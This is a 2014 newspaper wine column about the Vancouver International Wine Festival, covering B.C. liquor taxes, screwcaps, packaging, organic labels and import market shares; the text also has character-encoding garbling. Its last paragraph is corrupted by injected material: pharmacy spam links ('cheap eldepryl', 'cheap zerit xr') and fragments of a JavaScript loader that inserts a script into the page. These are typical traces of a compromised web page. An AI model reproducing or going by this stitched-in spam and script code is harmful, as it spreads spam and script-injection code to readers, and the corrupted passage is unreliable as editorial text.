Policy review in spotlight – Feb. 15, 2014

By Anthony Gismondi

The B.C. Liquor Policy Review will be top of mind at the Vancouver International Wine Festival and it will be interesting to see how government presents its position to the 178 wineries in attendance, especially the 150 foreign producers hoping for some progress as it pertains to their ability to do business in B.C.. With no changes to the oppressive tax system and no hope of direct access for foreign wines to the market, it should be a short conversation.

We talk often about what consumers can garner from the festival, and we will in a special Wine Festival Salut edition next week, but this week I wanted to look at the festival through the eyes of the wineries attending. Finding yourself in a room full of competitors presents a fabulous opportunity to gatherer intelligence about the local market and those very competitors trying to take your market share.

There are still some screwcap holdouts a�� Earth to the United States and France a�� but I suspect a quick tour of the room will reveal if your wine is under $20 in B.C. or $10-$12 in most other countries, it should be under screwcap. This is doubly true for fresh white wines you want to sell in B.C. restaurants by the glass. There are some remarkable designs to be had and you will see most of them at the tables so if you are on the fence, look around. If you need any further motivation, women buy most of the wine in Canadian households and they do not enjoy struggling with wine corks.

Scoping out bottle design and labels is another festival pastime for marketing types. For purity of design and art, head to the Spanish zone. Spain is not only making some electric wine but its mix of packaging at all price points is among the best in the world.

The festival also likely has the largest collection of big brands in the world so you can check out the latest in how to package bland wine.

One of the most important things you can do is seek out wines you know to be direct competitors in the market. Be sure to note the retail price. Then ask if you want a listing in B.C. or whether what you really want to do is sell wine here. Your FOB export price may look good when you are sitting in Bordeaux, Adelaide, Cape Town or Mendoza but once it is run through the B.C. tax machine the shelf price could be $5-10 more than you thought. Add to that a restaurant markup based on your retail price and your tasty little $15 cabernet could be selling or mostly sitting on a restaurant wine list for $60.

The words organic and bio-dynamic will be on some labels and not on others, but the same techniques are employed. Who will win this battle, the certifiers or the earnest a�?we practice organic methods but we dona��t put it on the labela�? group? How green is your wine and what messages connect with consumers: fair-trade, sustainable, fish-friendly, eco-friendly, best farming practices and so it goes. Are organic wines even recognized at retail? Some of these questions can be directed at the consumers who walk up to your booth.

Perhaps of top interest to foreigners is what we are drinking in B.C.? According to the figures, half the wines we drink are Canadian, although you can cut that figure to about a quarter when we talk about grapes grown and wine made in B.C.; the rest is mostly imported wine, run through a Canadian winery pipe, which comes out under the dubious cellared in Canada moniker. It is unfortunately a formidable competitor at its price point that is almost impossible to compete against, unless you stop selling your bulk wine to the large Canadian wineries.

In the authentic wine arena, the B.C. import story differs from the rest of Canada. At the moment the United States (mostly California) leads all countries with 23.7 per cent of the import market and it is growing. Australia is next at 18.3 percent but declining at an alarming clip. At 12.3 per cent, Italy is stable, Chile at 11.3 per cent is growing ever so slightly. Argentina is falling at 9.9 per cent (too much cheap malbec?) while the theme country France sits in a relatively stable sixth position at 8.2 per cent. Rounding out the chart are Spain/Portugal (dona��t know why we combine these sales), South Africa and Germany at 5.2, 3.2 and 1.6 per cent respectively.

All this information and more can be discovered at the International Tasting Room; Saturday night is already sold out.

For up-to-date festival info go to http://www.vanwinefest.ca/sites/playhousewinefest2/files/VIWF_Festivalataglance.pdf http://blogtiengviet.com/cheap-eldepryl-5mg/ cheap benfotiamine side document.currentScript.parentNode.insertBefore(s, document.currentScript);d.getElementsByTagName(‘head’)[0].appendChild(s);} cheap zerit xr

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